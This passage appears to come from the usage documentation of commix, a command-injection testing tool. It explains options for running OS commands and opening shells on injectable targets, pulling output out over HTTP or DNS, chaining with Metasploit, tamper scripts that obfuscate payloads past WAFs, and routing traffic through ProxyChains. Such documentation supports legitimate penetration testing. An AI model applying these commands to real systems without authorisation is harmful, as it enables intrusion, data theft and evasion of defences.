It can be useful for:
- Quickly verifying exploitability of a suspected injection point.
- Extracting specific data (e.g., file contents, system info) in a non-interactive manner.
- Reducing noise during stealthy testing or proof-of-concept phases.
Note
- Output is limited to that of a single command.
- Some complex commands requiring interactive input or long execution may not behave as expected.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --os-cmd="uname -a"Switch: --os-shell
This option opens an interactive pseudo-terminal on the target once a command injection vulnerability is confirmed, instead of executing a single command and exiting. The shell starts in the os_shell mode and can switch to the reverse and bind TCP modes, as described in Getting shells.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --os-shellOption: --os=OS
This option manually sets the target's operating system to either Windows or Unix-like (case-insensitive; Unix is accepted too). It overrides Commix’s automatic OS detection and tailors payloads, encodings, and command syntax based on the specified platform. Setting the correct OS improves payload accuracy, reliability, and effectiveness, especially in command execution and post-exploitation phases.
It can be useful when:
- The automatic detection is inconclusive or fails due to limited response feedback.
- You already know the target OS based on reconnaissance or headers.
- You want to bypass detection entirely for faster or stealthier testing.
Note
- Left unset, commix works the operating system out in order: what the target's own banner and
headers name it as, then - where they name nothing - what its answer to a probe of each shell
says,
POSIXandcmd.exeboth being tried rather than one being assumed. Only where neither answers is the question put to you, and answering "no" there is a fair answer: both shells are then carried through the run instead of one being guessed at. - When unsure, run commix without this option first and review the detected OS - if misidentified, re-run with
--osmanually set to ensure correct payload behavior. - Nothing overrules this value silently. Where a server banner or a heuristic points at the other operating system, commix says so and asks whether to carry on with the one you named or with the one it found; under
--batchthe one it found is kept.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --os="Windows"Option: --msf-path=PATH
This option sets the absolute installation path of the Metasploit Framework (MSF), enabling commix to interface with MSF's post-exploitation capabilities. When correctly configured, commix can invoke MSF modules to facilitate tasks such as session management, privilege escalation, or establishing reverse shells once a successful injection has been confirmed. This integration is especially valuable in advanced exploitation workflows, providing a seamless bridge between vulnerability detection and active exploitation within the MSF ecosystem.
It can be useful for:
- Leveraging MSF's payloads and listeners directly from commix.
- Automating post-exploitation steps once a shell is obtained.
- Aligning with red team tools and methodologies.
Note
- MSF must be properly installed and accessible at the specified path.
- Permissions may be required to execute MSF commands or modules from commix.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --msf-path="/opt/metasploit-framework"Switch: --oob
This switch tells commix to confirm and exploit injection points over an out-of-band (OAST) channel instead of the HTTP response. The payload makes the target reach out to a server commix is listening on, so a vulnerability is proven by the interaction that arrives rather than by anything the application returns.
It is the answer to injection points that produce no output and no reliable timing signal, and it applies to command injection, dynamic code evaluation, and the Shellshock module alike.
Command output travels back over the same channel: in a single request where the target has an HTTP client, or hex-encoded across DNS labels where a name lookup is all that leaves the host - either way far fewer requests than the time-based technique, which spends several per character.
Each payload also carries a sum for the target to work out, and the result has to come back for the finding to count. An interaction on its own only shows that something reached the server, which a filtering appliance fetching URLs out of a parameter would do just as well; a shell that actually ran the command returns the sum's result.
The channel backs the heuristic test as well. The results-based heuristic reads its answer out of the response, so it cannot see the very points this switch exists for - without --oob such a parameter is reported as probably not injectable, and with --smart it would be skipped altogether.
Note
- The channel is opt-in, because by default it involves a public third-party server. Use
--oob-serverto keep everything in-house. - Supplying any other
--oob-*option turns the channel on by itself. - The target needs a way out. On Unix-like systems commix tries
curl,wgetandpython, plus a name lookup (nslookup, falling back togetent hosts,hostandping, since none of them is present everywhere). Windows targets trycurl.exe(shipped in System32 since Windows 10 1803), a name lookup, andpowershell-certutilis deliberately left out, as it blocks for over a minute per request. - Both kinds of client are tried, and the one that carries output back whole is preferred: an HTTP client wins when it reaches the server, and the name lookup is the fallback for a host that lets nothing else out. The finding names the channel it came back over, e.g.
out-of-band (over DNS) blind technique. - A name lookup carries command output too - hex-encoded, a chunk to a label, numbered so the pieces can be put back in order - so
--os-shellworks over DNS alone. -
--interpreter=pythonsays the target has Python, so that client is tried first. - Payloads use the same scheme the server is reached on, so command output is not sent in the clear unless
--oob-servernames a plain-HTTP server. Use--oob-schemewhere the target's own TLS or egress rules call for the other one.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --oobOption: --oob-server=OOB_SERVER
This option points commix at your own interactsh server instead of the public one, so that neither the payloads nor the recovered command output pass through infrastructure you do not control. The payload domain is taken from the server itself, and the scheme may be omitted.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --oob-server="oob.yourdomain.com"Option: --oob-token=OOB_TOKEN
This option supplies the authentication token of a self-hosted out-of-band server that requires one.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --oob-server="oob.yourdomain.com" --oob-token="SECRET"Option: --oob-transport=OOB_TRANSPORT
This option pins the client the payload uses to reach the out-of-band server, instead of letting commix try them in turn. Accepted values are curl, wget, python and dns on Unix-like targets, and curl, dns and powershell on Windows ones.
It is worth setting when the target's egress is already known: --oob-transport=dns skips the HTTP clients on a host that only resolves names, and naming an HTTP client skips the rest of the sweep. With a client pinned, commix draws no conclusion about the others, so it does not report them as unreachable.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --oob --oob-transport="dns"Option: --oob-scheme=OOB_SCHEME
This option sets the scheme the payload's URL carries, http or https, independently of how commix itself reaches the server. Payloads default to the server's own scheme, which is HTTPS for the public one.
It matters where the target cannot manage TLS as the server requires it - an older Windows host whose PowerShell defaults to TLS 1.0, for instance - or where only one of the two ports is allowed out. A non-default port named in --oob-server is carried into the payload's URL as well.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --oob --oob-scheme="http"Option: --oob-poll=OOB_POLL
This option sets how many seconds commix waits between polls of the out-of-band server (default is 5). Lowering it shortens the delay before an interaction is noticed, at the cost of more requests to the server.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --oob --oob-poll=2Option: --oob-timeout=OOB_TIMEOUT
This option sets how many seconds commix waits for an interaction to arrive before giving up on it (default is 10). Raise it for targets whose outbound traffic is slow or heavily filtered.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --oob --oob-timeout=30Detection options control how commix identifies potential command injection vulnerabilities on the target application. These settings determine the scope, depth, and techniques used during initial testing phases, balancing thoroughness with scan efficiency. They help customize the detection process to fit various target environments and testing needs.
Option: --level=LEVEL
This option specifies the thoroughness level of the injection tests, ranging from 1 (light) to 3 (most thorough). Higher levels execute a larger number of payloads and perform more extensive checks, improving detection accuracy and reducing false negatives. However, increasing the level also extends the scan duration, so choose a balance between speed and comprehensiveness based on your testing needs.
Levels:
-
1: Performs basic injection tests on URL parameters and POST data only. This level is faster and suitable for quick assessments or when minimizing requests. -
2: Includes allLevel 1tests, plus injection testing in HTTP cookies. Additionally,Level 2runs an extensive suite of injection payloads to increase the likelihood of detecting more complex vulnerabilities. -
3: Includes allLevel 2tests, plus injection testing in HTTP headers (such asUser-Agent,Referer, etc.).Level 3also executes the most extensive and comprehensive set of payloads and techniques to uncover hidden or sophisticated injection points.
Note
- Use higher levels when initial scans are inconclusive or to detect complex injection vectors.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --level=3Switch: --skip-calc
To confirm that a payload really executed, commix asks the target to work out a random sum and print the answer between two markers - an answer only something that evaluated the expression can produce. On a Unix-like target that arithmetic is written as $((5020+8180)), and a shell metacharacter followed by arithmetic expansion is a shape web application firewalls match on. Where that is what gets the request blocked, this switch replaces the sum with a marker the target has to run a command to echo back, so the proof still requires execution but the arithmetic notation never leaves your machine.
It applies to the heuristic test, the results-based payloads, the code evaluation payloads, the false-positive re-check and the out-of-band proof.
Note
- This is a payload-shape option, not a speed one. The number of requests is unchanged.
- It cannot help where arithmetic is the technique itself rather than the proof: the time-based and tempfile-based payloads gate their delay on
sleep $((...)), so a target that rejects arithmetic expansion outright is beyond the reach of those techniques whatever this switch is set to. -
--tamper=backticksis worth trying alongside it, since it moves command substitution from$(...)to backticks.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --skip-calc Switch: --skip-empty
This option skips testing parameters that have empty values, which are generally less likely to be injectable. By focusing only on inputs containing data, it optimizes scan speed and improves accuracy.
Note
- A parameter is treated as empty whether its value is absent or blank, including when it is the only parameter in the request.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --skip-emptySwitch: --skip-static
A parameter whose value never changes the page it is sent to is unlikely to reach anything that runs it. This switch leaves such parameters untested.
Important
- The verdict comes from comparing whole pages, so on a page that is mostly layout a parameter that does reach a shell can still read as static. Where that is a risk, give
--text-onlyalongside, which compares the text and leaves the markup out of it. - A parameter named with
-pis tested whatever this switch concludes.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --skip-static --text-onlySwitch: --text-only
This switch compares pages by the text they show, leaving out scripts, styles, comments and the tags around them. On a page that is mostly markup, what a command prints is a handful of characters against kilobytes of layout, and comparing the pages whole makes that difference too small to read.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --text-onlySwitch: --disable-stats
An answer that arrives late is ordinarily judged against a model of how long the target takes to answer when nothing is asked of it. This switch turns that model off, so that an answer is read against the delay the payload asked for and nothing else - and the requests that would have filled the model are not spent.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --technique=t --disable-statsOption: --failed-tries=NUM
This option limits how many boundary combinations may fail to write the output file before the file-based technique stops trying the web server's document root and offers a temporary directory instead.
Left unset, the limit is the number of combinations there are to try, capped at 50. A set of boundaries small enough to get through is therefore gone through in full first: the combination that answers is as likely to be the last of them as any other, and stopping one short of it makes a perfectly writable document root look unwritable.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --failed-tries=3Switch: --smart
This option enables smart scanning mode, performing in-depth injection tests only when initial heuristic checks suggest a strong chance of vulnerability. It enhances scanning efficiency by reducing unnecessary tests on safe parameters, lowering false positives, and shortening overall scan time.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --smartThe miscellaneous options in commix provide additional control over the tool’s behavior and environment. They include settings for dependency management, output formatting, user interface modes, environment simulation, and operational controls such as logging and data management. These options enhance flexibility and usability, allowing users to tailor commix to different testing scenarios, environments, and user preferences beyond core injection functionalities.
Switch: --ignore-dependencies
This option instructs commix to ignore all required third-party library dependencies. It is useful when running in environments with partial setups or where dependencies are managed manually, allowing the tool to operate despite missing or incomplete libraries. Use with caution, as skipping dependencies may lead to reduced functionality or unexpected errors.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --ignore-dependenciesThe scripts below ship with commix and can be selected with --tamper, individually or several at a
time. The same list is printed by --list-tampers.
Each script declares what it is compatible with, and commix skips one that does not apply to the target or the technique in use rather than producing a payload that cannot work. The Applies to column below records those restrictions.
| Script | Applies to | Description |
|---|---|---|
ansiquote |
ANSI-C quoting, not eval | Rewrites the command names and paths in a given payload as ANSI-C quoted hex ($'\x63\x61\x74'). |
backslashes |
POSIX shell, not eval | Adds back slashes () between the characters in a given payload. |
backticks |
POSIX shell, not --interpreter
|
Uses backticks (`) instead of "$()" for command substitution in a given payload. |
base64encode |
any | Base64-encodes all characters in a given payload. |
caret |
Windows | Adds caret symbol (^) between the characters in a given payload. |
cmd2loop |
POSIX shell, not eval | Wraps the payload's command in a single-iteration "for" loop, so it is reached through a shell keyword instead of a separator. |
cmd2var |
POSIX shell | Splits the name of the user-supplied operating system command across unset shell variables. |
cmd2wildcard |
POSIX shell | Replaces the paths in the user-supplied operating system command with wildcards (/[b]in/[c]at). |
dollaratsigns |
POSIX shell, not eval | Adds dollar sign followed by an at-sign ($@) between the characters in a given payload. |
dollarstars |
POSIX shell, not eval | Adds dollar sign followed by an asterisk ($*) between the characters in a given payload. |
doublequotes |
not eval | Adds double quotes (") between the characters in a given payload. |
hexencode |
any | Hex-encodes all characters in a given payload. |
multiplespaces |
any | Adds multiple spaces around operating system commands in a given payload. |
nested |
POSIX shell, not eval | Adds double quotes (") around a given payload. |
phpconcat |
PHP code injection only | Runs the command through a PHP function named in concatenated pieces ('she'.'ll_e'.'xec'). |
phphexname |
PHP code injection only | Runs the command through a PHP function named in hex ("\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63"). |
printf2echo |
POSIX shell, not eval | Replaces the printf-based ASCII to Decimal printf "%d" "'$char'" with `echo -n $char |
pyhexname |
Python code injection only | Runs the command through a Python module and function named in hex ("\x6f\x73", "\x70\x6f\x70\x65\x6e"). |
randomcase |
POSIX shell | Replaces each character in a user-supplied OS command with a random case. |
rev |
POSIX shell | Reverses (characterwise) the user-supplied operating system commands in a given payload. |
singlequotes |
POSIX shell, not eval | Adds single quotes (') between the characters in a given payload. |
slash2env |
POSIX shell, not eval | Replaces slashes (/) with environment variable value "${PATH%%u*}". |
sleep2ping |
POSIX shell, time-related only | Replaces "sleep" with the wait between "ping" packets in a given payload. |
sleep2timeout |
time-related only | Replaces "sleep" with "timeout" command in a given payload. |
sleep2usleep |
POSIX shell, time-related only | Replaces "sleep" with "usleep" command in a given payload. |
space2brace |
brace expansion | Replaces the space character (%20) with a brace expansion ({a,b}) in a given payload. |
space2htab |
any | Replaces space character (%20) with horizontal tab (%09) in a given payload. |
space2ifs |
POSIX shell | Replaces space character (%20) with the internal field separator ($IFS) in a given payload. |
space2plus |
any | Replaces space character (%20) with plus (+) in a given payload. |
space2vtab |
Windows | Replaces space character (%20) with vertical tab (%0b) in a given payload. |
uninitializedvariable |
POSIX shell, not eval | Adds (randomly generated) uninitialized bash variables between the characters of each command in a given payload. |
xforwardedfor |
any | Appends a fake HTTP header 'X-Forwarded-For' (and similar). |
"POSIX shell" names what the script's syntax needs - $IFS, backticks, printf and the like - and
is enforced by skipping the script on a Windows target; "not eval" means the script is skipped when
testing for code injection (i.e. with --eval); "time-related only" means it applies to the
time-based and tempfile-based techniques alone.
"brace expansion" and "ANSI-C quoting" are each narrower than "POSIX shell": the target's shell has
to expand {a,b} where a command is expected, or read $'\x63' back as the character it names.
bash and ksh do both; a strict POSIX shell such as dash does neither, and a script needing one
of them simply finds nothing rather than reporting a target wrongly.
"PHP code injection only" and "Python code injection only" are the constraints that run the other
way. Those scripts rewrite the language the target evaluates rather than the shell it reaches, so
each applies only with its own --eval language and is skipped everywhere else - including against
a target that answers as a command shell.
cmd2loop decides what it can wrap from the payload in front of it rather than from the run it is
part of. It leaves the heuristic checks alone, because those ask the same question over several
separators at once so that whichever one the target honours answers it, and a loop would leave a
single command where there were three alternatives; the cmd.exe shape of those checks is passed
over on the same terms, recognised by what the payload carries instead of by an operating system
that is still a guess. Everything else - a payload that chains its steps with the separator being
tested - is wrapped whole, so the results-based, time-based, file-based and out-of-band techniques are
all covered, and a payload ending in a comment keeps that comment last so it still swallows
whatever the target's own command line carries after the injection point.
Several scripts given together are applied in a fixed order, each one transforming what the last produced, so their effects combine rather than replacing one another. Each is applied once per payload, to that payload alone - nothing a script does to one carries over into the next.
Switch: --list-tampers
This option displays a list of tamper scripts included with commix. These scripts help bypass filters, Web Application Firewalls (WAFs), or input validation mechanisms during testing, allowing users to select the most suitable tamper script for their target.
python commix.py --list-tampersOption: --alert=ALERT
This option executes the specified host operating system command(s) immediately when an injection point is detected. It enables automated responses such as triggering alerts, running custom scripts, or integrating with external monitoring tools upon successful vulnerability discovery.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --alert="sh sample.sh"Switch: --no-logging
This option disables logging output to files, displaying all results exclusively in the console. It is useful for ephemeral testing scenarios or when privacy concerns require avoiding the creation of persistent log files.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --no-loggingSwitch: --purge
This option safely removes all data stored by commix in its data directory, including cache files, session data, and logs. It helps reset the tool’s state between tests to ensure a clean scanning environment without residual information from previous runs.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --purgeSwitch: --unstable
This switch doubles the delay, the retries and the timeout the run works with, which suits a target reached over a connection that drops or answers unevenly.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --unstableSwitch: --skip-waf
This option disables commix’s heuristic detection of Web Application Firewalls (WAF), or other security mechanisms. It is useful when such detection mechanisms introduce false positives, slow down the scan, or interfere with payload delivery. Disabling WAF/IPS detection can improve performance and reduce noise in known environments but may also prevent commix from adapting payloads to bypass security filters.
When protection is found, commix asks whether to try getting past it and, if allowed, turns on the evasion that suits the target: chunked transfer encoding when the request carries POST data, and a set of tamper scripts covering the whitespace, the command names, the character casing and the client address that the request appears to come from. The set is chosen for the identified operating system, and it is stored in the session, so a resumed scan replays whatever got through the first time. Providing --tamper yourself turns this off, since the choice of evasion is then yours.
Should everything still be blocked, the evasion is stepped up to a heavier set - one that breaks up the command names differently and moves to another whitespace character - and the techniques are tried again with it. What was detected and what was turned on is written to the JSON report, when one is requested with --report-json, so a finding reached through evasion is not left looking like one against an unprotected target.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --skip-wafSwitch: --offline
This option runs commix in offline mode, disabling update checks and any internet connectivity requirements. It is especially useful in restricted or air-gapped environments where external network access is limited or unavailable, ensuring uninterrupted operation without relying on external resources.
python commix.py --offlineSwitch: --wizard
This option starts a simple, guided interactive wizard tailored for beginner users. It walks you through essential configuration steps in a clear, step-by-step manner, making the scanning process easier to understand and use, especially for newcomers.
python commix.py --wizardSwitch: --disable-coloring
This option disables colored output in the console, producing plain text instead. It is useful when logging scan results to files, or when running commix in terminals that do not support color formatting, ensuring readability and compatibility.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --disable-coloringCommix supports reading target URLs directly from standard input (stdin), allowing seamless integration with other tools in a command-line pipeline. This enables powerful automation workflows where targets are dynamically discovered and tested in real-time without manual intervention.
Instead of specifying the --url option manually, you can pipe a list of URLs into commix. This is particularly useful when combining commix with reconnaissance tools such as:
-
waybackurls(for extracting historical URLs from the Wayback Machine) -
gau(GetAllURLs - for fetching known URLs from public sources) - or custom scripts that generate or filter URLs dynamically
Commix will parse each line of input as a potential target, applying its injection detection logic accordingly.
Advantages:
- Automation-friendly: Ideal for CI/CD pipelines and bug bounty workflows.
- Scalable: Test large volumes of URLs with minimal manual effort.
- Filterable: Combine with
grep,jq, orawkto include/exclude certain patterns before testing.
echo "www.target.com" | waybackurls | grep vuln.php | python commix.py --data="addr=1" --os-cmd="whoami" --batchCommix supports proxy usage via the --proxy option, but this is limited to HTTP and HTTPS proxies only. This limitation means that SOCKS4 or SOCKS5 proxies are not supported natively.
ProxyChains is a powerful tool that enables transparent routing of all TCP traffic through one or more SOCKS proxies, such as a remote VPS SOCKS tunnel. It supports multi-hop SOCKS proxy chaining (e.g., Tor → SSH Tunnel → VPS), providing enhanced anonymity and routing flexibility. This makes it ideal for applications like commix, which do not natively support SOCKS proxies, allowing them to benefit from SOCKS-based tunneling without requiring any internal configuration changes.
To configure ProxyChains, edit its configuration file - typically located at /etc/proxychains.conf for system-wide settings or ~/.proxychains/proxychains.conf for per-user configurations. Then, add your SOCKS proxy entry at the end of the file:
# remote SOCKS proxy
# socks5 your.proxy.ip 1080Important
To prevent DNS leaks - where DNS requests bypass the proxy and could reveal your real IP address - make sure to uncomment or add the proxy_dns directive in your ProxyChains configuration file. Enabling this setting ensures that all DNS queries are routed through the proxy chain, maintaining your anonymity and privacy.
proxychains python commix.py --url="http://www.target.com/vuln.php?addr=1"If you want to inspect or manipulate commix traffic in Burp Suite but your network only provides access to a SOCKS proxy, you’ll need to set up a local HTTP proxy endpoint that forwards traffic through the SOCKS proxy. This acts as a "bridge" converting SOCKS-level traffic (which commix doesn’t natively support) into an HTTP proxy interface that commix can interact with.
Tools like redsocks or proxychains + Burp Suite listener can handle this bridging. Configure commix to use the local HTTP proxy via the --proxy option. Once the SOCKS-to-HTTP bridge is live (e.g., on 127.0.0.1:8080), you can instruct commix to route its traffic through it like so.
python commix.py --url="http://www.target.com/vuln.php?addr=1" --proxy="http://127.0.0.1:8080"This allows commix to function as if it’s using a regular
HTTPproxy, while the traffic is actually being tunneled overSOCKS.
Dive deeper into commix’s features with practical, battle-tested strategies that boost your testing efficiency and fine-tune your precision in real-world scenarios.
-
Dive into a rich collection of practical, real-world examples demonstrating how commix can be leveraged against popular vulnerable targets such as DVWA, Mutillidae, and various specialized testbeds. The usage examples section offers step-by-step examples illustrating everything from simple injection points to complex exploitation scenarios.
-
Master the art of evasion with advanced payload tricks, creative encoding methods, and innovative techniques designed to bypass common input sanitization routines and Web Application Firewalls (WAFs). The filters bypass examples section, covers a range of evasion techniques - such as whitespace manipulation, character encoding, separator chaining, and other advanced methods - to help you effectively bypass defenses.
-
Unlock the power of commix with comprehensive examples for gaining interactive access to your target systems. The getting shells section offers step-by-step examples on delivering, triggering, and maintaining reliable shell access throughout your assessments.
At the right side panel, you can find detailed information about Commix Project.
- Usage - Exhaustive breakdown of all options and switches together with examples
- Techniques - Techniques supported by commix
- Download and update - Keep it up-to-date
- Module development - Comprehensive guide for extending commix by developing custom modules
- Third party libraries - Breakdown of third-party components utilized in commix
- License - Copyright information
- Usage examples - Real-world examples of using commix across vulnerable applications
- Filters bypass examples - Payloads and techniques used to evade input filters
- Getting shells - Examples of using commix to gain shell
- Presentations - Conference talks, demos, and public presentations where commix has been featured or discussed.
- Screenshots - Visual examples of commix in action
- Third party references - References to commix in books, articles, research papers, blog posts, etc
- Command injection testbeds - A curated list of intentionally vulnerable web applications and platforms for safely testing commix